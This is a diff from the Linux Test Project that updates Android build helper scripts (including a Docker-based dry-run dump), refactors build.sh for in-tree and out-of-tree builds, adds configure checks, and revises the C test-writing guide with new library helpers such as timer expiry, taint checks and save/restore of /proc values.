+testcases/bin/fs_bind/bind/test01
+testcases/bin/fs_bind/bind/test02
+testcases/bin/fs_bind/bind/test03
+testcases/bin/fs_bind/bind/test04
+testcases/bin/fs_bind/bind/test05
+testcases/bin/fs_bind/bind/test06
+testcases/bin/fs_bind/bind/test07
+testcases/bin/fs_bind/bind/test07-2
+testcases/bin/fs_bind/bind/test08
+testcases/bin/fs_bind/bind/test09
+testcases/bin/fs_bind/bind/test13
+testcases/bin/fs_bind/bind/test17
+testcases/bin/fs_bind/bind/test20
+testcases/bin/fs_bind/bind/test21
+testcases/bin/fs_bind/bind/test22
+testcases/bin/fs_bind/bind/test23
+testcases/bin/fs_bind/bind/test24
+testcases/bin/fs_bind/cloneNS/test01
+testcases/bin/fs_bind/cloneNS/test02
+testcases/bin/fs_bind/cloneNS/test03
+testcases/bin/fs_bind/cloneNS/test04
+testcases/bin/fs_bind/cloneNS/test05
+testcases/bin/fs_bind/cloneNS/test06
+testcases/bin/fs_bind/cloneNS/test07
+testcases/bin/fs_bind/move/test01
+testcases/bin/fs_bind/move/test02
+testcases/bin/fs_bind/move/test03
+testcases/bin/fs_bind/move/test04
+testcases/bin/fs_bind/move/test05
+testcases/bin/fs_bind/move/test06
+testcases/bin/fs_bind/move/test07
+testcases/bin/fs_bind/move/test09
+testcases/bin/fs_bind/move/test10
+testcases/bin/fs_bind/move/test11
+testcases/bin/fs_bind/move/test12
+testcases/bin/fs_bind/move/test13
+testcases/bin/fs_bind/move/test14
+testcases/bin/fs_bind/move/test15
+testcases/bin/fs_bind/move/test16
+testcases/bin/fs_bind/move/test17
+testcases/bin/fs_bind/move/test18
+testcases/bin/fs_bind/move/test19
+testcases/bin/fs_bind/move/test20
+testcases/bin/fs_bind/move/test21
+testcases/bin/fs_bind/rbind/test08
+testcases/bin/fs_bind/rbind/test10
+testcases/bin/fs_bind/rbind/test11
+testcases/bin/fs_bind/rbind/test12
+testcases/bin/fs_bind/rbind/test14
+testcases/bin/fs_bind/rbind/test15
+testcases/bin/fs_bind/rbind/test16
+testcases/bin/fs_bind/rbind/test18
+testcases/bin/fs_bind/rbind/test19
+testcases/bin/fs_bind/rbind/test22
+testcases/bin/fs_bind/regression/test01
+testcases/bin/fs_bind/regression/test02
+testcases/bin/fs_bind/regression/test03
+
+# Depends on CONFIG_EXT4_FS_ENCRYPTION which is not required on Android.
+# b/123523766
+statx05
diff --git a/android/tools/docker_entry.sh b/android/tools/docker_entry.sh
new file mode 100755
index 0000000..de84428
--- /dev/null
+++ b/android/tools/docker_entry.sh
@@ -0,0 +1,28 @@
+#!/usr/bin/env bash
+#
+# Copyright 2019 - The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+set -e
+
+# /src is the original source tree mounted to the host, in order to not
+# generate files that will need to be cleaned into it, copy it to $LTP_ROOT and
+# execute configure / make from there.
+#
+# This also ensures that the parsing scripts will get paths that make sense on
+# the host system.
+cp -R /src/* $LTP_ROOT/
+
+/src/android/tools/dump_make_dryrun.sh
diff --git a/android/tools/dump_make_dryrun.sh b/android/tools/dump_make_dryrun.sh
index e06d44a..086fe10 100755
--- a/android/tools/dump_make_dryrun.sh
+++ b/android/tools/dump_make_dryrun.sh
@@ -15,22 +15,25 @@
 # limitations under the License.
 #
 
-TOOLS_DIR=$(realpath $(dirname $0))
-LTP_ROOT=$(realpath $TOOLS_DIR/../..)
+set -e
+
+[ -z $TOOLS_DIR ] && TOOLS_DIR=$(realpath $(dirname $0))
+[ -z $LTP_ROOT ] && LTP_ROOT=$(realpath $TOOLS_DIR/../..)
 
 if ! [ -f $LTP_ROOT/include/config.h ]; then
-  echo "LTP has not been configured!"
-  echo "Please run \"cd $LTP_ROOT; make autotools; ./configure\" first"
-  exit 1
+  echo "LTP has not been configured."
+  echo "Executing \"cd $LTP_ROOT; make autotools; ./configure\""
+  (cd $LTP_ROOT; make autotools)
+  (cd $LTP_ROOT; ./configure)
 fi
 
 OUTPUT=$TOOLS_DIR/make_dry_run.dump
 echo "Dumping output to $OUTPUT from command 'make -C $LTP_ROOT/testcases --dry-run'"
-make -C $LTP_ROOT/testcases --dry-run > $OUTPUT
+make -j1 -C $LTP_ROOT/testcases --dry-run > $OUTPUT
 
 OUTPUT=$TOOLS_DIR/make_install_dry_run.dump
 echo "Dumping output to $OUTPUT from command 'make -C $LTP_ROOT/testcases install --dry-run'"
-make -C $LTP_ROOT/testcases install --dry-run > $OUTPUT
+make -j1 -C $LTP_ROOT/testcases install --dry-run > $OUTPUT
 
 echo "Distclean $LTP_ROOT ..."
 make -C $LTP_ROOT distclean
diff --git a/android/tools/gen_android_build.sh b/android/tools/gen_android_build.sh
index d98397b..763c925 100755
--- a/android/tools/gen_android_build.sh
+++ b/android/tools/gen_android_build.sh
@@ -15,6 +15,8 @@
 # limitations under the License.
 #
 
+set -e
+
 TOOLS_DIR=$(realpath $(dirname $0))
 LTP_ANDROID_DIR=$(realpath $TOOLS_DIR/..)
 LTP_ROOT=$(realpath $LTP_ANDROID_DIR/..)
@@ -23,13 +25,7 @@
 OUTPUT_PLIST=$LTP_ANDROID_DIR/ltp_package_list.mk
 OUTPUT_BP=$LTP_ROOT/gen.bp
 
-if ! [ -f $LTP_ROOT/include/config.h ]; then
-  echo "LTP has not been configured."
-  echo "Executing \"cd $LTP_ROOT; make autotools; ./configure\""
-  cd $LTP_ROOT
-  make autotools
-  $LTP_ROOT/configure
-fi
+export PYTHONDONTWRITEBYTECODE=1
 
 cd $TOOLS_DIR
 
@@ -37,7 +33,6 @@
   -u|--update)
     echo "Update option enabled. Regenerating..."
     rm -rf *.dump
-    ./dump_make_dryrun.sh
     ;;
   -h|--help)
     echo "Generate Android.ltp.mk / gen.bp."
@@ -47,8 +42,17 @@
 esac
 
 if ! [ -f $TOOLS_DIR/make_dry_run.dump ]; then
+  DOCKER_USERNAME=$(id -un)
+  DOCKER_UID=$(id -u)
+  DOCKER_GID=$(id -g)
+
   echo "LTP make dry_run not dumped. Dumping..."
-  ./dump_make_dryrun.sh
+  echo ""
+  echo "This may need your sudo password in order to access docker:"
+  set -x
+  sudo docker build --build-arg userid=$DOCKER_UID --build-arg groupid=$DOCKER_GID --build-arg username=$DOCKER_USERNAME --build-arg ltproot=$LTP_ROOT -t android-gen-ltp .
+  sudo docker run -it --rm -v $LTP_ROOT:/src -w /src/android/tools android-gen-ltp
+  set +x
 fi
 
 cat $LTP_ANDROID_DIR/AOSP_license_text.txt > $OUTPUT_MK
diff --git a/build.sh b/build.sh
index 6dd7ddf..ae3b86f 100755
--- a/build.sh
+++ b/build.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Script for travis builds.
 #
 # TODO: Implement comparison of installed files. List of installed files can
@@ -10,23 +10,24 @@
 set -e
 
 DEFAULT_PREFIX="$HOME/ltp-install"
-DEFAULT_BUILD="build_native"
+DEFAULT_BUILD="native"
+DEFAULT_TREE="in"
 CONFIGURE_OPTS_IN_TREE="--with-open-posix-testsuite --with-realtime-testsuite"
 # TODO: open posix testsuite is currently broken in out-tree-build. Enable it once it's fixed.
 CONFIGURE_OPTS_OUT_TREE="--with-realtime-testsuite"
 MAKE_OPTS="-j$(getconf _NPROCESSORS_ONLN)"
-CC=
+CC=gcc
 
 build_32()
 {
-	echo "===== 32-bit in-tree build into $PREFIX ====="
-	build_in_tree CFLAGS="-m32" CXXFLAGS="-m32" LDFLAGS="-m32"
+	echo "===== 32-bit ${1}-tree build into $PREFIX ====="
+	build $1 CFLAGS="-m32" CXXFLAGS="-m32" LDFLAGS="-m32"
 }
 
 build_native()
 {
-	echo "===== native in-tree build into $PREFIX ====="
-	build_in_tree
+	echo "===== native ${1}-tree build into $PREFIX ====="
+	build $1
 }
 
 build_cross()
@@ -35,8 +36,23 @@
 	[ -n "$host" ] || \
 		{ echo "Missing CC variable, pass it with -c option." >&2; exit 1; }
 
-	echo "===== cross-compile ${host} in-tree build into $PREFIX ====="
-	build_in_tree "--host=$host" CROSS_COMPILE="${host}-"
+	echo "===== cross-compile ${host} ${1}-tree build into $PREFIX ====="
+	build $1 "--host=$host" CROSS_COMPILE="${host}-"
+}
+
+build()
+{
+	local tree="$1"
+	shift
+
+	echo "=== autotools ==="
+	make autotools
+
+	if [ "$tree" = "in" ]; then
+		build_in_tree $@
+	else
+		build_out_tree $@
+	fi
 }
 
 build_out_tree()
@@ -45,24 +61,19 @@
 	local build="$tree/../ltp-build"
 	local make_opts="$MAKE_OPTS -C $build -f $tree/Makefile top_srcdir=$tree top_builddir=$build"
 
-	echo "===== native out-of-tree build into $PREFIX ====="
 	mkdir -p $build
-
-	echo "=== autotools ==="
-	make autotools
-
 	cd $build
-	run_configure $tree/configure $CONFIGURE_OPTS_OUT_TREE CC="$CC"
+	run_configure $tree/configure $CONFIGURE_OPTS_OUT_TREE CC="$CC" $@
 
+	echo "=== build ==="
 	make $make_opts
+
+	echo "=== install ==="
 	make $make_opts DESTDIR="$PREFIX" SKIP_IDCHECK=1 install
 }
 
 build_in_tree()
 {
-	echo "=== autotools ==="
-	make autotools
-
 	run_configure ./configure $CONFIGURE_OPTS_IN_TREE CC="$CC" --prefix=$PREFIX $@
 
 	echo "=== build ==="
@@ -92,12 +103,13 @@
 {
 	cat << EOF
 Usage:
-$0 [ -c CC ] [ -p DIR ] [ -t TYPE ]
+$0 [ -c CC ] [ -o TREE ] [ -p DIR ] [ -t TYPE ]
 $0 -h
 
 Options:
 -h       Print this help
 -c CC    Define compiler (\$CC variable)
+-o TREE  Specify build tree, default: $DEFAULT_TREE
 -p DIR   Change installation directory. For in-tree build is this value passed
          to --prefix option of configure script. For out-of-tree build is this
          value passed to DESTDIR variable (i.e. sysroot) of make install
@@ -107,27 +119,32 @@
          Default for out-of-tree build: '$DEFAULT_PREFIX/opt/ltp'
 -t TYPE  Specify build type, default: $DEFAULT_BUILD
 
+BUILD TREE:
+in       in-tree build
+out      out-of-tree build
+
 BUILD TYPES:
 32       32-bit in-tree build
 cross    cross-compile in-tree build (requires set compiler via -c switch)
 native   native in-tree build
-out      out-of-tree build
 EOF
 }
 
 PREFIX="$DEFAULT_PREFIX"
 build="$DEFAULT_BUILD"
+tree="$DEFAULT_TREE"
 
-while getopts "c:hp:t:" opt; do
+while getopts "c:ho:p:t:" opt; do
 	case "$opt" in
 	c) CC="$OPTARG";;
 	h) usage; exit 0;;
+	o) case "$OPTARG" in
+		in|out) tree="$OPTARG";;
+		*) echo "Wrong build tree '$OPTARG'" >&2; usage; exit 1;;
+		esac;;
 	p) PREFIX="$OPTARG";;
 	t) case "$OPTARG" in
-		32) build="build_32";;
-		cross) build="build_cross";;
-		native) build="build_native";;
-		out) build="build_out_tree";;
+		32|cross|native) build="$OPTARG";;
 		*) echo "Wrong build type '$OPTARG'" >&2; usage; exit 1;;
 		esac;;
 	?) usage; exit 1;;
@@ -135,4 +152,12 @@
 done
 
 cd `dirname $0`
-$build
+
+echo "=== ver_linux ==="
+./ver_linux
+echo
+
+echo "=== compiler version ==="
+$CC --version
+
+eval build_$build $tree
diff --git a/configure.ac b/configure.ac
index 5c8d4ea..13d3b68 100644
--- a/configure.ac
+++ b/configure.ac
@@ -13,6 +13,8 @@
     execltp \
 ])
 
+AM_MAINTAINER_MODE([enable])
+
 AM_CONDITIONAL(CROSS_COMPILATION, test x$cross_compiling = xyes)
 
 AC_CANONICAL_HOST
@@ -34,6 +36,8 @@
     ifaddrs.h \
     keyutils.h \
     linux/can.h \
+    linux/dccp.h \
+    linux/cryptouser.h \
     linux/genetlink.h \
     linux/keyctl.h \
     linux/if_packet.h \
@@ -42,6 +46,7 @@
     linux/module.h \
     linux/netlink.h \
     mm.h \
+    netinet/sctp.h \
     pthread.h \
     sys/epoll.h \
     sys/fanotify.h \
@@ -83,6 +88,14 @@
     AC_SUBST([WITH_EXPECT],["no"])
 fi
 
+# Numa
+AC_ARG_WITH([numa],
+  AC_HELP_STRING([--without-numa],
+    [without numa support (default=no)]),
+  [with_numa=no],
+  [with_numa=yes]
+)
+
 # Perl
 AC_ARG_WITH([perl],
   [AC_HELP_STRING([--with-perl],
@@ -108,6 +121,14 @@
 else
     AC_SUBST([WITH_PYTHON],["no"])
 fi
+
+# TI RPC
+AC_ARG_WITH([tirpc],
+  AC_HELP_STRING([--without-tirpc],
+    [without libtirpc support (default=no)]),
+  [with_tirpc=no],
+  [with_tirpc=yes]
+)
 # END tools knobs
 
 # Testsuites knobs
@@ -157,7 +178,6 @@
 LTP_CHECK_SIGNAL
 LTP_CHECK_SYSCALL_EVENTFD
 LTP_CHECK_SYSCALL_MODIFY_LDT
-LTP_CHECK_SYSCALL_NUMA
 LTP_CHECK_SYSCALL_QUOTACTL
 LTP_CHECK_SYSCALL_SIGNALFD
 LTP_CHECK_SYSCALL_UNSHARE
@@ -177,12 +197,16 @@
 LTP_CHECK_MKNODAT
 LTP_CHECK_READLINKAT
 LTP_CHECK_OPENAT
+LTP_CHECK_EXECVEAT
 LTP_CHECK_RENAMEAT
 LTP_CHECK_RENAMEAT2
+LTP_CHECK_STATX
 LTP_CHECK_FALLOCATE
 LTP_CHECK_SYSCALL_FCNTL
 LTP_CHECK_SYSCALL_PERF_EVENT_OPEN
+if test "x$with_tirpc" = xyes; then
 LTP_CHECK_TIRPC
+fi
 LTP_CHECK_TEE
 LTP_CHECK_SPLICE
 LTP_CHECK_VMSPLICE
@@ -194,6 +218,8 @@
 LTP_CHECK_KCMP_TYPE
 LTP_CHECK_PREADV
 LTP_CHECK_PWRITEV
+LTP_CHECK_PREADV2
+LTP_CHECK_PWRITEV2
 LTP_CHECK_EPOLL_PWAIT
 LTP_CHECK_KEYUTILS_SUPPORT
 LTP_CHECK_SYNC_ADD_AND_FETCH
@@ -203,6 +229,17 @@
 LTP_CHECK_X_TABLES
 LTP_CHECK_ATOMIC_MEMORY_MODEL
 LTP_CHECK_TPACKET_V3
+LTP_CHECK_RLIMIT64
 LTP_DETECT_HOST_CPU
+LTP_CHECK_PERF_EVENT
+LTP_CHECK_SYNCFS
+
+if test "x$with_numa" = xyes; then
+	LTP_CHECK_SYSCALL_NUMA
+	numa_error_msg="test requires libnuma >= 2 and it's development packages"
+else
+	numa_error_msg="NUMA support was disabled during build"
+fi
+AC_DEFINE_UNQUOTED(NUMA_ERROR_MSG, ["$numa_error_msg"], [Error message when no NUMA support])
 
 AC_OUTPUT
diff --git a/doc/c-test-tutorial-simple.txt b/doc/c-test-tutorial-simple.txt
index 61cfd10..a58aa1e 100644
--- a/doc/c-test-tutorial-simple.txt
+++ b/doc/c-test-tutorial-simple.txt
@@ -464,9 +464,9 @@
 
 	TEST(sys_statx(0, NULL, 0, 0, &statxbuf));
 
-	if (TEST_RETURN == 0)
+	if (TST_RET == 0)
 		tst_res(TFAIL, "statx thinks it can stat NULL");
-	else if (TEST_ERRNO == EFAULT)
+	else if (TST_ERR == EFAULT)
 		tst_res(TPASS, "statx set errno to EFAULT as expected");
 	else
 		tst_res(TFAIL | TERRNO, "statx set errno to some unexpected value");
@@ -478,8 +478,8 @@
 };
 --------------------------------------------------------------------------------
 
-The +TEST+ macro sets +TEST_RETURN+ to the return value of +tst_statx()+ and
-+TEST_ERRNO+ to the value of +errno+ immediately after the functions
+The +TEST+ macro sets +TST_RET+ to the return value of +tst_statx()+ and
++TST_ERR+ to the value of +errno+ immediately after the functions
 return. This is mainly just for convenience, although it potentially could
 have other uses.
 
@@ -487,10 +487,10 @@
 check the value of +errno+. The last call to +tst_res+ includes +TERRNO+,
 which will print the current error number and associated description in
 addition to the message we have provided. Note that it uses the current value
-of +errno+ not +TEST_ERRNO+.
+of +errno+ not +TST_ERR+.
 
 What we should have done in the example above is use +TTERRNO+ which takes the
-value of +TEST_ERRNO+.
+value of +TST_ERR+.
 
 If we try to run the test on a kernel where +statx+ does not exist, then
 +tst_syscall+ will cause it to fail gracefully with +TCONF+. Where +TCONF+
@@ -588,15 +588,15 @@
 	struct statx statxbuf = { 0 };
 
 	TEST(sys_statx(0, NULL, 0, 0, &statxbuf));
-	if (TEST_RETURN == 0)
+	if (TST_RET == 0)
 		tst_res(TFAIL, "statx thinks it can stat NULL");
-	else if (TEST_ERRNO == EFAULT)
+	else if (TST_ERR == EFAULT)
 		tst_res(TPASS, "statx set errno to EFAULT as expected");
 	else
 		tst_res(TFAIL | TERRNO, "statx set errno to some unexpected value");
 
 	TEST(sys_statx(AT_FDCWD, FNAME, 0, STATX_BASIC_STATS, &statxbuf));
-	if (TEST_RETURN == 0)
+	if (TST_RET == 0)
 		tst_res(TPASS, "It returned zero so it must have worked!");
 	else
 		tst_res(TFAIL | TERRNO, "statx can not stat a basic file");
@@ -658,7 +658,7 @@
         ...
 
 	TEST(sys_statx(AT_FDCWD, LNAME, 0, STATX_BASIC_STATS, &statxbuf));
-	if (TEST_RETURN == 0)
+	if (TST_RET == 0)
 		tst_res(TPASS, "It returned zero so it must have worked!");
 	else
 		tst_res(TFAIL | TERRNO, "statx can not stat a basic file");
@@ -736,9 +736,9 @@
 	struct statx statxbuf = { 0 };
 
 	TEST(sys_statx(0, NULL, 0, 0, &statxbuf));
-	if (TEST_RETURN == 0)
+	if (TST_RET == 0)
 		tst_res(TFAIL, "statx thinks it can stat NULL");
-	else if (TEST_ERRNO == EFAULT)
+	else if (TST_ERR == EFAULT)
 		tst_res(TPASS, "statx set errno to EFAULT as expected");
 	else
 		tst_res(TFAIL | TERRNO, "statx set errno to some unexpected value");
@@ -749,7 +749,7 @@
 	struct statx statxbuf = { 0 };
 
 	TEST(sys_statx(AT_FDCWD, LNAME, 0, STATX_BASIC_STATS, &statxbuf));
-	if (TEST_RETURN == 0)
+	if (TST_RET == 0)
 		tst_res(TPASS, "It returned zero so it must have worked!");
 	else
 		tst_res(TFAIL | TERRNO, "statx can not stat a basic file");
diff --git a/doc/ltp-run-files.txt b/doc/ltp-run-files.txt
index f8cc36b..c290869 100644
--- a/doc/ltp-run-files.txt
+++ b/doc/ltp-run-files.txt
@@ -75,9 +75,6 @@
  - isofs.sh
  - sysfs.sh
 
-LTP Stress tests
- - ltpstress.sh
-
 AIO/DIO filesystem tests
  - ltp-aiodio.sh
 
diff --git a/doc/man3/tst_res.3 b/doc/man3/tst_res.3
index e1f50c2..56f7224 100644
--- a/doc/man3/tst_res.3
+++ b/doc/man3/tst_res.3
@@ -39,7 +39,7 @@
 .sp
 tst_brkm \- Print result message and break remaining test cases
 .sp
-tst_flush \- Print any messages pending because of CONDENSE mode, and flush output stream
+tst_old_flush \- Print any messages pending because of CONDENSE mode, and flush output stream
 .sp
 tst_exit \- Exit test with a meaningful exit value
 .sp
@@ -56,7 +56,7 @@
 \fBvoid tst_brkm(int \fIttype\fB, void (*\fIfunc\fB)(), char *\fItmesg,
 [arg ...]\fR)
 .P
-\fBvoid tst_flush()
+\fBvoid tst_old_flush()
 .P
 \fBvoid tst_exit()
 .P
@@ -180,7 +180,7 @@
 first reported result.  \fBtst_brk()\fR takes the \fIfname\fR argument
 whereas \fBtst_brkm()\fR does not.
 .P
-\fBtst_flush()\fR is used to print any results pending because of
+\fBtst_old_flush()\fR is used to print any results pending because of
 \fBCONDENSE\fR or \fBNOPASS\fR modes (described below), and flushes the
 output stream.
 .P
diff --git a/doc/test-writing-guidelines.txt b/doc/test-writing-guidelines.txt
index 739b295..4b40760 100644
--- a/doc/test-writing-guidelines.txt
+++ b/doc/test-writing-guidelines.txt
@@ -72,7 +72,7 @@
 compile it from http://gondor.apana.org.au/~herbert/dash/files/[source].
 
 Debian also has nice devscript
-https://anonscm.debian.org/cgit/collab-maint/devscripts.git/tree/scripts/checkbashisms.pl[checkbashism.pl]
+https://salsa.debian.org/debian/devscripts/raw/master/scripts/checkbashisms.pl[checkbashism.pl]
 that can be used to check for non-portable shell code.
 
 Here are some common sense style rules for shell
@@ -324,6 +324,9 @@
 time may vary arbitrarily, for these timeout can be disabled by setting it to
 -1.
 
+Test can find out how much time (in seconds) is remaining to timeout,
+by calling 'tst_timeout_remaining()'.
+
 A word about the cleanup() callback
 +++++++++++++++++++++++++++++++++++
 
@@ -413,7 +416,7 @@
 |==============================
 
 The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print
-'errno', 'TEST_ERRNO' respectively.
+'errno', 'TST_ERR' respectively.
 
 [source,c]
 -------------------------------------------------------------------------------
@@ -429,7 +432,7 @@
 |============================================================
 
 The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print
-'errno', 'TEST_ERRNO' respectively.
+'errno', 'TST_ERR' respectively.
 
 [source,c]
 -------------------------------------------------------------------------------
@@ -465,6 +468,18 @@
 the timeout is specified in seconds. There are a few testcases whose runtime
 can vary arbitrarily, these can disable timeouts by setting it to -1.
 
+[source,c]
+-------------------------------------------------------------------------------
+void tst_flush(void);
+-------------------------------------------------------------------------------
+
+Flush output streams, handling errors appropriately.
+
+This function is rarely needed when you have to flush the output streams
+before calling 'fork()' or 'clone()'. Note that the 'SAFE_FORK()' calls this
+function automatically. See 3.4 FILE buffers and fork() for explanation why is
+this needed.
+
 2.2.3 Test temporary directory
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
@@ -477,7 +492,6 @@
 	   or in the test 'cleanup()' otherwise the test may break temporary
 	   directory removal on NFS (look for "NFS silly rename").
 
-[[2.2.4]]
 2.2.4 Safe macros
 ^^^^^^^^^^^^^^^^^
 
@@ -649,7 +663,6 @@
 IMPORTANT: You have to set the '.forks_child' flag in the test structure
            if your testcase forks.
 
-[[2.2.8]]
 2.2.8 Doing the test in the child process
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
@@ -682,6 +695,50 @@
 children and exits with 'tst_brk(TBROK, ...)' if any of them returned
 a non zero exit code.
 
+.Using tst_res() from binaries started by exec()
+[source,c]
+-------------------------------------------------------------------------------
+/* test.c */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	char *const argv[] = {"test_exec_child", NULL};
+	char path[4096];
+
+	if (tst_get_path("test_exec_child", path, sizeof(path)))
+		tst_brk(TCONF, "Couldn't find test_exec_child in $PATH");
+
+	execve(path, argv, environ);
+
+	tst_res(TBROK | TERRNO, "EXEC!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.child_needs_reinit = 1,
+};
+
+/* test_exec_child.c */
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+int main(void)
+{
+	tst_reinit();
+	tst_res(TPASS, "Child passed!");
+	return 0;
+}
+-------------------------------------------------------------------------------
+
+The 'tst_res()' function can be also used from binaries started by 'exec()',
+the parent test process has to set the '.child_needs_reinit' flag so that the
+library prepares for it and has to make sure the 'LTP_IPC_PATH' environment
+vairiable is passed down, then the very fist thing the program has to call in
+'main()' is 'tst_reinit()' that sets up the IPC.
+
 2.2.9 Fork() and Parent-child synchronization
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
@@ -923,7 +980,7 @@
 If '.format_device' flag is set the device is formatted with a filesystem as
 well. You can use '.dev_fs_type' to override the default filesystem type if
 needed and pass additional options to mkfs via '.dev_fs_opts' and
-'.dev_extra_opt' pointers. Note that '.format_device' implies '.needs_device'
+'.dev_extra_opts' pointers. Note that '.format_device' implies '.needs_device'
 there is no need to set both.
 
 If '.mount_device' is set, the device is mounted at '.mntpoint' which is used
@@ -998,9 +1055,10 @@
 'NULL' terminated array of strings such as:
 +const char *const opts[] = {"-b", "1024", NULL}+.
 
-The extra option 'extra_opt' should either be 'NULL' if there is none, or a
-string such as '"102400"'; 'extra_opt' will be passed after device name. e.g:
-+mkfs -t ext4 -b 1024 /dev/sda1 102400+ in this case.
+The extra options 'extra_opts' should either be 'NULL' if there are none, or a
+'NULL' terminated array of strings such as +{"102400", NULL}+; 'extra_opts'
+will be passed after device name. e.g: +mkfs -t ext4 -b 1024 /dev/sda1 102400+
+in this case.
 
 2.2.16 Verifying a filesystem's free space
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
@@ -1157,7 +1215,7 @@
 
 [source,c]
 -------------------------------------------------------------------------------
-#include "tst_test.h"
+#include "tst_timer.h"
 
 void tst_timer_check(clockid_t clk_id);
 
@@ -1170,6 +1228,8 @@
 long long tst_timer_elapsed_ms(void);
 
 long long tst_timer_elapsed_us(void);
+
+int tst_timer_expired_ms(long long ms);
 -------------------------------------------------------------------------------
 
 The 'tst_timer_check()' function checks if specified 'clk_id' is suppored and
@@ -1186,12 +1246,49 @@
 The 'tst_timer_elapsed*()' returns time difference between the timer start and
 last timer stop in several formats and units.
 
+The 'tst_timer_expired_ms()' function checks if the timer started by
+'tst_timer_start()' has been running longer than ms miliseconds. The function
+returns non-zero if timer has expired and zero otherwise.
+
 IMPORTANT: The timer functions use 'clock_gettime()' internally which needs to
            be linked with '-lrt' on older glibc. Please do not forget to add
 	   'LDLIBS+=-lrt' in Makefile.
 
 [source,c]
 -------------------------------------------------------------------------------
+#include "tst_test.h"
+#include "tst_timer.h"
+
+static void setup(void)
+{
+	...
+	tst_timer_check(CLOCK_MONOTONIC);
+	...
+}
+
+static void run(void)
+{
+	...
+	tst_timer_start(CLOCK_MONOTONIC);
+	...
+	while (!tst_timer_expired_ms(5000)) {
+		...
+	}
+	...
+}
+
+sturct tst_test test = {
+	...
+	.setup = setup,
+	.test_all = run,
+	...
+};
+-------------------------------------------------------------------------------
+
+Expiration timer example usage.
+
+[source,c]
+-------------------------------------------------------------------------------
 long long tst_timespec_to_us(struct timespec t);
 long long tst_timespec_to_ms(struct timespec t);
 
@@ -1312,6 +1409,102 @@
 test.c:8: INFO: do_action(arg) failed
 -------------------------------------------------------------------------------
 
+2.2.24 Tainted kernels
+^^^^^^^^^^^^^^^^^^^^^^
+
+If you need to detect, if a testcase triggers a kernel warning, bug or oops,
+the following can be used to detect TAINT_W or TAINT_D:
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+#include "tst_taint.h"
+
+void setup(void)
+{
+	...
+	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
+	...
+}
+...
+void run(void)
+{
+	...
+	if (tst_taint_check() == 0)
+		tst_res(TPASS, "kernel is not tainted");
+	else
+		tst_res(TFAIL, "kernel is tainted");
+}
+-------------------------------------------------------------------------------
+
+You have to call tst_taint_init() with non-zero flags first, preferably during
+setup(). The function will generate a TCONF if the requested flags are not
+fully supported on the running kernel, and TBROK if either a zero mask was
+supplied or if the kernel is already tainted before executing the test.
+
+Then you can call tst_taint_check() during run(), which returns 0 or the 
+tainted flags set in /proc/sys/kernel/tainted as specified earlier.
+
+Depending on your kernel version, not all tainted-flags will be supported.
+
+For reference to tainted kernels, see kernel documentation:
+Documentation/admin-guide/tainted-kernels.rst or
+https://www.kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
+
+2.2.25 Checksums
+^^^^^^^^^^^^^^^^
+
+CRC32c checksum generation is supported by LTP. In order to use it, the
+test should include "tst_checksum.h" header, then can call tst_crc32c().
+
+2.2.26 Checking kernel for the driver support
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Some tests may need specific kernel drivers, either compiled in, or built
+as a module. If .need_drivers points to a NULL-terminated array of kernel
+module names these are all checked and the test exits with TCONF on the
+first missing driver.
+
+Since it relies on modprobe command, the check will be skipped if the command
+itself is not available on the system.
+
+2.2.27 Saving & restoring /proc|sys values
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+LTP library can be instructed to save and restore value of specified
+(/proc|sys) files. This is achieved by initialized tst_test struct
+field 'save_restore'. It is a NULL terminated array of strings where
+each string represents a file, whose value is saved at the beginning
+and restored at the end of the test. Only first line of a specified
+file is saved and restored.
+
+Pathnames can be optionally prefixed to specify how strictly (during
+'store') are handled files that don't exist:
+  (no prefix) - test ends with TCONF
+  '?'         - test prints info message and continues
+  '!'         - test ends with TBROK
+
+'restore' is always strict and will TWARN if it encounters any error.
+
+Example:
+
+static const char *save_restore[] = {
+	"/proc/sys/kernel/core_pattern",
+	NULL,
+};
+
+static void setup(void)
+{
+	FILE_PRINTF("/proc/sys/kernel/core_pattern", "/mypath");
+}
+
+static struct tst_test test = {
+	...
+	.setup = setup,
+	.save_restore = save_restore,
+};
+
+
 2.3 Writing a testcase in shell
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1368,6 +1561,9 @@
 this is to keep track of what was initialized and act accordingly in the
 cleanup.
 
+WARNING: Similar to the C library, calling tst_brk() in the $TST_CLEANUP does
+         not exit the test and 'TBROK' is converted to 'TWARN'.
+
 Notice also the 'tst_run' function called at the end of the test that actually
 starts the test.
 
@@ -1384,20 +1580,23 @@
 
 test1()
 {
-	tst_res TPASS "Test 1 passed"
+	tst_res TPASS "Test $1 passed"
 }
 
 test2()
 {
-	tst_res TPASS "Test 2 passed"
+	tst_res TPASS "Test $1 passed"
 }
 
 tst_run
+# output:
+# foo 1 TPASS: Test 1 passed
+# foo 2 TPASS: Test 2 passed
 -------------------------------------------------------------------------------
 
 If '$TST_CNT' is set, the test library looks if there are functions named
